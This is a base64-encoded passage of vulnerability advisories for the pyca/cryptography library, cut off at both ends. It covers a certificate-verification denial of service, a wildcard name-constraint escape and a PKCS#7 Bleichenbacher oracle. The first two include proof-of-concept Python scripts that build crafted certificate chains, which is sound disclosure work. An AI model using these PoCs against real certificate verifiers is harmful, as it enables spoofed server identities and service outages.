0dXJuIHg1MDkuTmFtZShbeDUwOS5OYW1lQXR0cmlidXRlKE5hbWVPSUQuQ09NTU9OX05BTUUsIGNvbW1vbl9uYW1lKV0pCgpkZWYgYmFzZV9idWlsZGVyKHN1YmplY3QsIGlzc3VlciwgcHVibGljX2tleSwgc2VyaWFsKToKICAgIHJldHVybiAoCiAgICAgICAgeDUwOS5DZXJ0aWZpY2F0ZUJ1aWxkZXIoKQogICAgICAgIC5zdWJqZWN0X25hbWUoc3ViamVjdCkKICAgICAgICAuaXNzdWVyX25hbWUoaXNzdWVyKQogICAgICAgIC5wdWJsaWNfa2V5KHB1YmxpY19rZXkpCiAgICAgICAgLnNlcmlhbF9udW1iZXIoc2VyaWFsKQogICAgICAgIC5ub3RfdmFsaWRfYmVmb3JlKE5PVyAtIGRhdGV0aW1lLnRpbWVkZWx0YShkYXlzPTEpKQogICAgICAgIC5ub3RfdmFsaWRfYWZ0ZXIoTk9XICsgZGF0ZXRpbWUudGltZWRlbHRhKGRheXM9MzApKQogICAgKQoKZGVmIG1ha2VfY2EoY29tbW9uX25hbWUsIHNlcmlhbCk6CiAgICBwcml2YXRlX2tleSA9IGVjLmdlbmVyYXRlX3ByaXZhdGVfa2V5KGVjLlNFQ1AyNTZSMSgpKQogICAgc3ViamVjdCA9IG5hbWUoY29tbW9uX25hbWUpCiAgICBjZXJ0ID0gKAogICAgICAgIGJhc2VfYnVpbGRlcihzdWJqZWN0LCBzdWJqZWN0LCBwcml2YXRlX2tleS5wdWJsaWNfa2V5KCksIHNlcmlhbCkKICAgICAgICAuYWRkX2V4dGVuc2lvbih4NTA5LkJhc2ljQ29uc3RyYWludHMoY2E9VHJ1ZSwgcGF0aF9sZW5ndGg9Tm9uZSksIFRydWUpCiAgICAgICAgLmFkZF9leHRlbnNpb24oQ0FfS0VZX1VTQUdFLCBUcnVlKQogICAgICAgIC5hZGRfZXh0ZW5zaW9uKAogICAgICAgICAgICB4NTA5LlN1YmplY3RLZXlJZGVudGlmaWVyLmZyb21fcHVibGljX2tleShwcml2YXRlX2tleS5wdWJsaWNfa2V5KCkpLAogICAgICAgICAgICBGYWxzZSwKICAgICAgICApCiAgICAgICAgLnNpZ24ocHJpdmF0ZV9rZXksIGhhc2hlcy5TSEEyNTYoKSkKICAgICkKICAgIHJldHVybiBwcml2YXRlX2tleSwgY2VydAoKZGVmIG1ha2VfbGVhZihpc3N1ZXJfa2V5LCBpc3N1ZXJfY2VydCk6CiAgICBwcml2YXRlX2tleSA9IGVjLmdlbmVyYXRlX3ByaXZhdGVfa2V5KGVjLlNFQ1AyNTZSMSgpKQogICAgcmV0dXJuICgKICAgICAgICBiYXNlX2J1aWxkZXIobmFtZSgibGVhZiIpLCBpc3N1ZXJfY2VydC5zdWJqZWN0LCBwcml2YXRlX2tleS5wdWJsaWNfa2V5KCksIDEwMCkKICAgICAgICAuYWRkX2V4dGVuc2lvbih4NTA5LkJhc2ljQ29uc3RyYWludHMoY2E9RmFsc2UsIHBhdGhfbGVuZ3RoPU5vbmUpLCBUcnVlKQogICAgICAgIC5hZGRfZXh0ZW5zaW9uKEVFX0tFWV9VU0FHRSwgVHJ1ZSkKICAgICAgICAuYWRkX2V4dGVuc2lvbih4NTA5LlN1YmplY3RBbHRlcm5hdGl2ZU5hbWUoW3g1MDkuRE5TTmFtZSgiZXhhbXBsZS5jb20iKV0pLCBGYWxzZSkKICAgICAgICAuYWRkX2V4dGVuc2lvbigKICAgICAgICAgICAgeDUwOS5BdXRob3JpdHlLZXlJZGVudGlmaWVyLmZyb21faXNzdWVyX3B1YmxpY19rZXkoaXNzdWVyX2tleS5wdWJsaWNfa2V5KCkpLAogICAgICAgICAgICBGYWxzZSwKICAgICAgICApCiAgICAgICAgLmFkZF9leHRlbnNpb24oeDUwOS5FeHRlbmRlZEtleVVzYWdlKFtFeHRlbmRlZEtleVVzYWdlT0lELlNFUlZFUl9BVVRIXSksIEZhbHNlKQogICAgICAgIC5zaWduKGlzc3Vlcl9rZXksIGhhc2hlcy5TSEEyNTYoKSkKICAgICkKCmRlZiBidWlsZF9tYXRlcmlhbCgpOgogICAgbG9vcGluZ19rZXksIGxvb3BpbmdfY2EgPSBtYWtlX2NhKCJsb29waW5nIHNlbGYtc2lnbmVkIENBIiwgMSkKICAgIF8sIHVucmVsYXRlZF9yb290ID0gbWFrZV9jYSgidW5yZWxhdGVkIHRydXN0IGFuY2hvciIsIDIpCiAgICBsZWFmID0gbWFrZV9sZWFmKGxvb3Bpbmdfa2V5LCBsb29waW5nX2NhKQogICAgcmV0dXJuIGxlYWYsIGxvb3BpbmdfY2EsIHVucmVsYXRlZF9yb290CgpkZWYgdmVyaWZ5X2Nhc2UoZHVwbGljYXRlcywgbWF4X2RlcHRoLCBxdWV1ZSk6CiAgICBsZWFmLCBsb29waW5nX2NhLCB1bnJlbGF0ZWRfcm9vdCA9IGJ1aWxkX21hdGVyaWFsKCkKICAgIHZlcmlmaWVyID0gKAogICAgICAgIFBvbGljeUJ1aWxkZXIoKQogICAgICAgIC5zdG9yZShTdG9yZShbdW5yZWxhdGVkX3Jvb3RdKSkKICAgICAgICAudGltZShOT1cpCiAgICAgICAgLm1heF9jaGFpbl9kZXB0aChtYXhfZGVwdGgpCiAgICAgICAgLmJ1aWxkX3NlcnZlcl92ZXJpZmllcihETlNOYW1lKCJleGFtcGxlLmNvbSIpKQogICAgKQoKICAgIHN0YXJ0ID0gdGltZS5wZXJmX2NvdW50ZXIoKQogICAgdHJ5OgogICAgICAgIHZlcmlmaWVyLnZlcmlmeShsZWFmLCBbbG9vcGluZ19jYV0gKiBkdXBsaWNhdGVzKQogICAgICAgIHJlc3VsdCA9ICJhY2NlcHRlZCIKICAgIGV4Y2VwdCBWZXJpZmljYXRpb25FcnJvcjoKICAgICAgICByZXN1bHQgPSAicmVqZWN0ZWQiCiAgICBxdWV1ZS5wdXQoKHJlc3VsdCwgdGltZS5wZXJmX2NvdW50ZXIoKSAtIHN0YXJ0KSkKCmRlZiBydW5fY2FzZShkdXBsaWNhdGVzLCBtYXhfZGVwdGgpOgogICAgcXVldWUgPSBtdWx0aXByb2Nlc3NpbmcuUXVldWUoKQogICAgcHJvY2VzcyA9IG11bHRpcHJvY2Vzc2luZy5Qcm9jZXNzKAogICAgICAgIHRhcmdldD12ZXJpZnlfY2FzZSwKICAgICAgICBhcmdzPShkdXBsaWNhdGVzLCBtYXhfZGVwdGgsIHF1ZXVlKSwKICAgICkKICAgIHByb2Nlc3Muc3RhcnQoKQogICAgcHJvY2Vzcy5qb2luKFRJTUVPVVQpCgogICAgaWYgcHJvY2Vzcy5pc19hbGl2ZSgpOgogICAgICAgIHByb2Nlc3MudGVybWluYXRlKCkKICAgICAgICBwcm9jZXNzLmpvaW4oKQogICAgICAgIHByaW50KGYie2R1cGxpY2F0ZXN9LHttYXhfZGVwdGh9LHRpbWVvdXQ+e1RJTUVPVVR9cywiKQogICAgICAgIHJldHVybgoKICAgIHJlc3VsdCwgZWxhcHNlZCA9IHF1ZXVlLmdldCgpCiAgICBwcmludChmIntkdXBsaWNhdGVzfSx7bWF4X2RlcHRofSx7cmVzdWx0fSx7ZWxhcHNlZDouNmZ9IikKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBwcmludCgiZHVwbGljYXRlcyxtYXhfZGVwdGgscmVzdWx0LHNlY29uZHMiKQogICAgZm9yIGNhc2UgaW4gWygxLCA3KSwgKDIsIDcpLCAoMywgNyksICg0LCA3KSwgKDMsIDgpLCAoNCwgOCksICg1LCA3KSwgKDYsIDYpXToKICAgICAgICBydW5fY2FzZSgqY2FzZSkKYGBgCgojIyMjIyBJbXBhY3QKVGhpcyBpc3N1ZSBleHBvc2VzIGFuIGFtcGxpZmljYXRpb24gcGF0aHdheSBvdmVyIGRhdGEgdGhhdCBpbiBtYW55IGFwcGxpY2F0aW9ucyBtYXkgYmUgdXNlci1jb250cm9sbGVkLCBsZWFkaW5nIHRvIHRoZSBwb3NzaWJpbGl0eSBvZiBhIGRlbmlhbCBvZiBzZXJ2aWNlIHRocm91Z2ggcmVzb3VyY2UgZXhoYXVzdGlvbi4gQXMgdGhlIGNvcnJlY3RuZXNzIG9mIHZhbGlkYXRpb24gaXMgbm90IGFmZmVjdGVkLCB0aGUgaW50ZWdyaXR5IG9mIGEgc3lzdGVtIGNhbm5vdCBiZSBjb21wcm9taXNlZCB0aHJvdWdoIHRoaXMgdmVjdG9yLCBvbmx5IGl0cyBhdmFpbGFiaWxpdHkuCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogOC43IC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6NC4wL0FWOk4vQUM6TC9BVDpOL1BSOk4vVUk6Ti9WQzpOL1ZJOk4vVkE6SC9TQzpOL1NJOk4vU0E6TmAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWp3djMtNWhnZi04Mnd3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWp3djMtNWhnZi04Mnd3KQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvcHVsbC8xNDk2MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3B1bGwvMTQ5NjApCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21taXQvNGExMmNmNDk2NzVhMTg0ZTQ3ZjkxMmIwMGIwNGYzYTYyOTI4MzU4Ml0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbW1pdC80YTEyY2Y0OTY3NWExODRlNDdmOTEyYjAwYjA0ZjNhNjI5MjgzNTgyKQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeSkKLSBbaHR0cHM6Ly9weXBpLm9yZy9wcm9qZWN0L2NyeXB0b2dyYXBoeV0oaHR0cHM6Ly9weXBpLm9yZy9wcm9qZWN0L2NyeXB0b2dyYXBoeSkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1qd3YzLTVoZ2YtODJ3d10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1qd3YzLTVoZ2YtODJ3dykKLSBbaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNjkyNDldKGh0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDI2LTY5MjQ5KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IFtPU1ZdKGh0dHBzOi8vb3N2LmRldi92dWxuZXJhYmlsaXR5L1BZU0VDLTIwMjYtMzU1MykgYW5kIHRoZSBbUHlQSSBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5cGEvYWR2aXNvcnktZGF0YWJhc2UpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHlwYS9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRSkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBweXRob24tY3J5cHRvZ3JhcGh5IHZlcmlmaWVyIGFjY2VwdHMgd2lsZGNhcmQgRE5TIG5hbWVzIGFsbG93aW5nIGVzY2FwZSBmcm9tIHBlcm1pdHRlZFN1YnRyZWVzCltDVkUtMjAyNi02OTI0OF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNjkyNDgpIC8gW0dIU0EtbTJoNi1qNDcyLXJwNGNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbTJoNi1qNDcyLXJwNGMpIC8gUFlTRUMtMjAyNi0zNTU0Cgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyBTdW1tYXJ5CklmIGFuIGludGVybWVkaWF0ZSBjb25zdHJhaW5lZCBDQSBwZXJtaXRzIHRoZSBETlMgbmFtZSBgZm9vLmV4YW1wbGUuY29tYCwgYW5kIHRoZSBsZWFmIGNlcnRpZmljYXRlIGhhcyBhIHdpbGRjYXJkIGluIGl0cyBETlMgU0FOIG9mIGAqLmV4YW1wbGUuY29tYCwgcHl0aG9uLWNyeXB0b2dyYXBoeSdzIHZlcmlmaWVyIGFjY2VwdHMgd2hpY2ggYWxsb3dzIGVzY2FwaW5nIG91dHNpZGUgb2YgdGhlIHBlcm1pdHRlZCBuYW1lcy4KCiMjIyMjIFBvQwoKYGBgCgojIS91c3IvYmluL2VudiBweXRob24zCiIiIlN0YW5kYWxvbmUgUG9DOiBweWNhJ3MgRE5TQ29uc3RyYWludDo6bWF0Y2hlcyBhZG1pdHMgYSB0b28tYnJvYWQgd2lsZGNhcmQgU0FOLgoKU2V0dXA6CiAgU3ViLUNBIHBlcm1pdHRlZCBjb25zdHJhaW50OiBkTlNOYW1lID0gZm9vLmV4YW1wbGUuY29tCiAgTGVhZiBTQU46ICAgICAgICAgICAgICAgICAgICBkTlNOYW1lID0gKi5leGFtcGxlLmNvbQpFeHBlY3RlZDogcmVqZWN0aW9uIChSRkMgNTI4MCDCpzQuMi4xLjEwICsgc3RhbmRhcmQgd2lsZGNhcmQgc2VtYW50aWNzKS4KT2JzZXJ2ZWQ6IHB5Y2EgYWNjZXB0czsgZnVydGhlciwgYXNrcyBzZXJ2ZXItdmVyaWZpZXIgd2hldGhlciB0aGUgbGVhZiBpcwphdXRob3JpdGF0aXZlIGZvciBgYmFyLmV4YW1wbGUuY29tYCBhbmQgcHljYSBhbnN3ZXJzIHllcyDigJQgYSBzdWItQ0Egc2NvcGUKZXNjYXBlLgoiIiIKaW1wb3J0IGRhdGV0aW1lCmZyb20gY3J5cHRvZ3JhcGh5IGltcG9ydCB4NTA5CmZyb20gY3J5cHRvZ3JhcGh5Lng1MDkub2lkIGltcG9ydCBOYW1lT0lECmZyb20gY3J5cHRvZ3JhcGh5Lmhhem1hdC5wcmltaXRpdmVzIGltcG9ydCBoYXNoZXMKZnJvbSBjcnlwdG9ncmFwaHkuaGF6bWF0LnByaW1pdGl2ZXMuYXN5bW1ldHJpYyBpbXBvcnQgZWMKZnJvbSBjcnlwdG9ncmFwaHkueDUwOS52ZXJpZmljYXRpb24gaW1wb3J0ICgKICAgIFBvbGljeUJ1aWxkZXIsIFN0b3JlLCBFeHRlbnNpb25Qb2xpY3ksIENyaXRpY2FsaXR5LCBWZXJpZmljYXRpb25FcnJvciwKKQoKbm93ID0gZGF0ZXRpbWUuZGF0ZXRpbWUoMjAyNywgMSwgMSwgdHppbmZvPWRhdGV0aW1lLnRpbWV6b25lLnV0YykKZGF5ID0gZGF0ZXRpbWUudGltZWRlbHRhKGRheXM9MSkKCmRlZiBidWlsZChzdWJqZWN0LCBpc3N1ZXIsIGtleSwgaXNzdWVyX2tleSwgY2EsIGV4dHM9KCkpOgogICAgYiA9ICh4NTA5LkNlcnRpZmljYXRlQnVpbGRlcigpCiAgICAgICAgIC5zdWJqZWN0X25hbWUoc3ViamVjdCkuaXNzdWVyX25hbWUoaXNzdWVyKQogICAgICAgICAucHVibGljX2tleShrZXkucHVibGljX2tleSgpKQogICAgICAgICAuc2VyaWFsX251bWJlcih4NTA5LnJhbmRvbV9zZXJpYWxfbnVtYmVyKCkpCiAgICAgICAgIC5ub3RfdmFsaWRfYmVmb3JlKG5vdyAtIDMwICogZGF5KQogICAgICAgICAubm90X3ZhbGlkX2FmdGVyKG5vdyArIDM2NTAgKiBkYXkpCiAgICAgICAgIC5hZGRfZXh0ZW5zaW9uKHg1MDkuQmFzaWNDb25zdHJhaW50cyhjYT1jYSwgcGF0aF9sZW5ndGg9Tm9uZSksIGNyaXRpY2FsPVRydWUpKQogICAgZm9yIGUsIGMgaW4gZXh0czoKICAgICAgICBiID0gYi5hZGRfZXh0ZW5zaW9uKGUsIGMpCiAgICByZXR1cm4gYi5zaWduKGlzc3Vlcl9rZXksIGhhc2hlcy5TSEEyNTYoKSkKCiMjIyMjIFJvb3QKcmsgPSBlYy5nZW5lcmF0ZV9wcml2YXRlX2tleShlYy5TRUNQMjU2UjEoKSkKcm4gPSB4NTA5Lk5hbWUoW3g1MDkuTmFtZUF0dHJpYnV0ZShOYW1lT0lELkNPTU1PTl9OQU1FLCAiVGVzdCBSb290IildKQpyb290ID0gYnVpbGQocm4sIHJuLCByaywgcmssIFRydWUpCgojIyMjIyBTdWItQ0EgY29uc3RyYWluZWQgdG8gZm9vLmV4YW1wbGUuY29tCnNrID0gZWMuZ2VuZXJhdGVfcHJpdmF0ZV9rZXkoZWMuU0VDUDI1NlIxKCkpCnNuID0geDUwOS5OYW1lKFt4NTA5Lk5hbWVBdHRyaWJ1dGUoTmFtZU9JRC5DT01NT05fTkFNRSwgIlN1Yi1DQSIpXSkKbmMgPSB4NTA5Lk5hbWVDb25zdHJhaW50cygKICAgIHBlcm1pdHRlZF9zdWJ0cmVlcz1beDUwOS5ETlNOYW1lKCJmb28uZXhhbXBsZS5jb20iKV0sCiAgICBleGNsdWRlZF9zdWJ0cmVlcz1Ob25lLAopCnN1YiA9IGJ1aWxkKHNuLCBybiwgc2ssIHJrLCBUcnVlLCBbKG5jLCBUcnVlKV0pCgojIyMjIyBMZWFmIHdpdGggU0FOICouZXhhbXBsZS5jb20gKG92ZXItYnJvYWQgcmVsYXRpdmUgdG8gdGhlIGNvbnN0cmFpbnQpCmxrID0gZWMuZ2VuZXJhdGVfcHJpdmF0ZV9rZXkoZWMuU0VDUDI1NlIxKCkpCmxuID0geDUwOS5OYW1lKFt4NTA5Lk5hbWVBdHRyaWJ1dGUoTmFtZU9JRC5DT01NT05fTkFNRSwgIkxlYWYiKV0pCnNhbiA9IHg1MDkuU3ViamVjdEFsdGVybmF0aXZlTmFtZShbeDUwOS5ETlNOYW1lKCIqLmV4YW1wbGUuY29tIildKQpsZWFmID0gYnVpbGQobG4sIHNuLCBsaywgc2ssIEZhbHNlLCBbKHNhbiwgRmFsc2UpXSkKCiMjIyMjIFBvbGljaWVzCmNhX3BvbCA9IEV4dGVuc2lvblBvbGljeS5wZXJtaXRfYWxsKCkucmVxdWlyZV9wcmVzZW50KAogICAgeDUwOS5CYXNpY0NvbnN0cmFpbnRzLCBDcml0aWNhbGl0eS5BR05PU1RJQywgTm9uZSwKKQplZV9wb2wgPSBFeHRlbnNpb25Qb2xpY3kucGVybWl0X2FsbCgpLnJlcXVpcmVfcHJlc2VudCgKICAgIHg1MDkuU3ViamVjdEFsdGVybmF0aXZlTmFtZSwgQ3JpdGljYWxpdHkuQUdOT1NUSUMsIE5vbmUsCikKdiA9ICgKICAgIFBvbGljeUJ1aWxkZXIoKQogICAgLnN0b3JlKFN0b3JlKFtyb290XSkpCiAgICAudGltZShub3cpCiAgICAuZXh0ZW5zaW9uX3BvbGljaWVzKGNhX3BvbGljeT1jYV9wb2wsIGVlX3BvbGljeT1lZV9wb2wpCiAgICAuYnVpbGRfc2VydmVyX3ZlcmlmaWVyKHg1MDkuRE5TTmFtZSgiYmFyLmV4YW1wbGUuY29tIikpCikKdHJ5OgogICAgdi52ZXJpZnkobGVhZiwgW3N1Yl0pCiAgICBwcmludCgiQlVHOiBweWNhIHRydXN0ZWQgbGVhZiBhcyBiYXIuZXhhbXBsZS5jb20gdGhvdWdoIHN1Yi1DQSB3YXMgY29uc3RyYWluZWQgdG8gZm9vLmV4YW1wbGUuY29tIikKZXhjZXB0IFZlcmlmaWNhdGlvbkVycm9yIGFzIGU6CiAgICBwcmludChmIkVYUEVDVEVEOiBWZXJpZmljYXRpb25FcnJvcjoge2V9IikKYGBgCgojIyMjIyBJbXBhY3QKCkFjY2VwdGFuY2Ugb2YgaW52YWxpZCBjZXJ0aWZpY2F0ZSBjaGFpbi4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA2LjkgLyAxMCAoTWVkaXVtKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjQuMC9BVjpOL0FDOkwvQVQ6UC9QUjpOL1VJOk4vVkM6TC9WSTpIL1ZBOk4vU0M6Ti9TSTpOL1NBOk4vRTpQYAoKIyMjIyBSZWZlcmVuY2VzCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtbTJoNi1qNDcyLXJwNGNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtbTJoNi1qNDcyLXJwNGMpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9wdWxsLzE0ODg4XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvcHVsbC8xNDg4OCkKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbW1pdC80ZDAzNWE0MjI1OTY1ZWRlZmZkMzEyMDc5YTUxMGVmMjVmY2ZkY2IyXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tbWl0LzRkMDM1YTQyMjU5NjVlZGVmZmQzMTIwNzlhNTEwZWYyNWZjZmRjYjIpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5KQotIFtodHRwczovL3B5cGkub3JnL3Byb2plY3QvY3J5cHRvZ3JhcGh5XShodHRwczovL3B5cGkub3JnL3Byb2plY3QvY3J5cHRvZ3JhcGh5KQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLW0yaDYtajQ3Mi1ycDRjXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLW0yaDYtajQ3Mi1ycDRjKQotIFtodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi02OTI0OF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNjkyNDgpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgW09TVl0oaHR0cHM6Ly9vc3YuZGV2L3Z1bG5lcmFiaWxpdHkvUFlTRUMtMjAyNi0zNTU0KSBhbmQgdGhlIFtQeVBJIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHlwYS9hZHZpc29yeS1kYXRhYmFzZSkgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weXBhL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIGNyeXB0b2dyYXBoeTogUEtDUyM3IEVudmVsb3BlZERhdGEgZGVjcnlwdGlvbiBleHBvc2VzIGEgQmxlaWNoZW5iYWNoZXIgb3JhY2xlIHRocm91Z2ggZGlzdGluZ3Vpc2hhYmxlIGVycm9ycyBhbmQgdGltaW5nCltDVkUtMjAyNi02OTI0N10oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNjkyNDcpIC8gW0dIU0EtZzZjai1wcjY0LTM1dzVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtZzZjai1wcjY0LTM1dzUpIC8gUFlTRUMtMjAyNi0zNTUyCgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyBTdW1tYXJ5CgpgcGtjczdfZGVjcnlwdF9kZXJgLCBgcGtjczdfZGVjcnlwdF9wZW1gLCBhbmQgYHBrY3M3X2RlY3J5cHRfc21pbWVgIHJlcG9ydGVkIHRoZQpvdXRjb21lIG9mIGRlY3J5cHRpbmcgYSBgUmVjaXBpZW50SW5mb2AncyBgZW5jcnlwdGVkS2V5YCBpbiBzZXZlcmFsCmRpc3Rpbmd1aXNoYWJsZSB3YXlzLCBvbmUgb2Ygd2hpY2ggZGlzY2xvc2VkIHRoZSBleGFjdCBsZW5ndGggcmVjb3ZlcmVkIGZyb20gdGhlClJTQSBvcGVyYXRpb24uIFRoZSBzYW1lIGRpc3RpbmN0aW9uIHdhcyBhbHNvIG9ic2VydmFibGUgYnkgdGltaW5nLiBBbgphcHBsaWNhdGlvbiB0aGF0IGRlY3J5cHRzIGF0dGFja2VyLXN1cHBsaWVkIGBFbnZlbG9wZWREYXRhYCBhbmQgcmVmbGVjdHMgdGhlCm91dGNvbWUgZ2l2ZXMgdGhlIGF0dGFja2VyIGEgQmxlaWNoZW5iYWNoZXIgb3JhY2xlIGFnYWluc3QgdGhlCmNvbnRlbnQtZW5jcnlwdGlvbiBrZXkuCgpJbnRyb2R1Y2VkIGluIDQ0LjAuMC4gRml4ZWQgaW4gNTAuMC4wLgoKIyMjIyMgRGV0YWlscwoKRGVjcnlwdGlvbiByYW4gYXM6IFJTQSBQS0NTIzEgdjEuNSBkZWNyeXB0IG9mIGBlbmNyeXB0ZWRLZXlgIOKGkiBidWlsZCBhbiBBRVMKY2lwaGVyIGZyb20gdGhlIHJlc3VsdCDihpIgQUVTLUNCQyBkZWNyeXB0IGFuZCBQS0NTIzcgdW5wYWQuIEVhY2ggc3RhZ2UgZmFpbGVkCmRpZmZlcmVudGx5LCB3aXRoIG5vIFJGQyAzMjE4IG1pdGlnYXRpb246CgoxLiBpbnZhbGlkIFJTQSBwYWRkaW5nIOKGkiBgRGVjcnlwdGlvbiBmYWlsZWRgCjIuIHZhbGlkIHBhZGRpbmcsIGJhZCBrZXkgbGVuZ3RoIOKGkiBgSW52YWxpZCBrZXkgc2l6ZSAoTikgZm9yIEFFUy5gLCBkaXNjbG9zaW5nIGBOYAozLiBjb3JyZWN0IGxlbmd0aCwgd3Jvbmcga2V5IOKGkiBgSW52YWxpZCBwYWRkaW5nIGJ5dGVzLmAKNC4gdGhlIHJlYWwga2V5IOKGkiBwbGFpbnRleHQKCkNhc2UgMSBpcyByZWFjaGFibGUgb25seSB3aGVyZSB0aGUgbGlua2VkIGxpYnJhcnkgbGFja3MgaW1wbGljaXQgcmVqZWN0aW9uOgpPcGVuU1NMIDMuMCBhbmQgMy4xLCBMaWJyZVNTTCwgYW5kIEJvcmluZ1NTTC4gT24gT3BlblNTTCAzLjIrLCB1c2VkIGluIG91ciB3aGVlbHMsCmludmFsaWQgcGFkZGluZyBpbnN0ZWFkIHJldHVybnMgYSBzeW50aGV0aWMgcGxhaW50ZXh0IG9mCnBzZXVkb3JhbmRvbSBsZW5ndGgsIHNvIHRoZSBlcnJvciBjaGFubmVsIGRvZXMgbm90IGRpc3Rpbmd1aXNoIGNvbmZvcm1pbmcKY2lwaGVydGV4dHMuCgpFeHBsb2l0YXRpb24gcmVxdWlyZXMgYSBzZXJ2aWNlIHRoYXQgYXV0by1kZWNyeXB0cyB1bnRydXN0ZWQgYEVudmVsb3BlZERhdGFgCm1hdGNoaW5nIHRoZSB2aWN0aW0gY2VydGlmaWNhdGUgYW5kIGFuc3dlcnMgYWRhcHRpdmVseSBhdCBoaWdoIHZvbHVtZSwgc3VjaCBhcwphbiBTL01JTUUgZ2F0ZXdheSBvciBtYWlsIGZpbHRlci4KCiMjIyMjIEZpeAoKUGVyIFJGQyAzMjE4LCB0aGUgY29udGVudC1lbmNyeXB0aW9uIGFsZ29yaXRobSBpcyBub3cgcmVzb2x2ZWQgYmVmb3JlIHRoZQpwcml2YXRlIGtleSBpcyB1c2VkLCBzbyB0aGUgZXhwZWN0ZWQga2V5IGxlbmd0aCBpcyBrbm93biBpbiBhZHZhbmNlLiBJZiB0aGUgUlNBCmRlY3J5cHRpb24gZmFpbHMgb3IgcmVjb3ZlcnMgYSBrZXkgb2YgdGhlIHdyb25nIGxlbmd0aCwgYSByYW5kb20ga2V5IG9mIHRoZQpleHBlY3RlZCBsZW5ndGggaXMgc3Vic3RpdHV0ZWQgYW5kIGRlY3J5cHRpb24gY29udGludWVzIGRvd24gYW4gaWRlbnRpY2FsIHBhdGguCkFsbCBmYWlsdXJlcyBub3cgcmVwb3J0IGlkZW50aWNhbGx5IGFuZCBwZXJmb3JtIHRoZSBzYW1lIHdvcmsuCgojIyMjIyBOb3QgYWRkcmVzc2VkIGJ5IHRoaXMgZml4CgpgRW52ZWxvcGVkRGF0YWAgZG9lcyBub3QgYXV0aGVudGljYXRlIGl0cyBjb250ZW50LiBUYW1wZXJpbmcgd2l0aApgZW5jcnlwdGVkQ29udGVudGAgY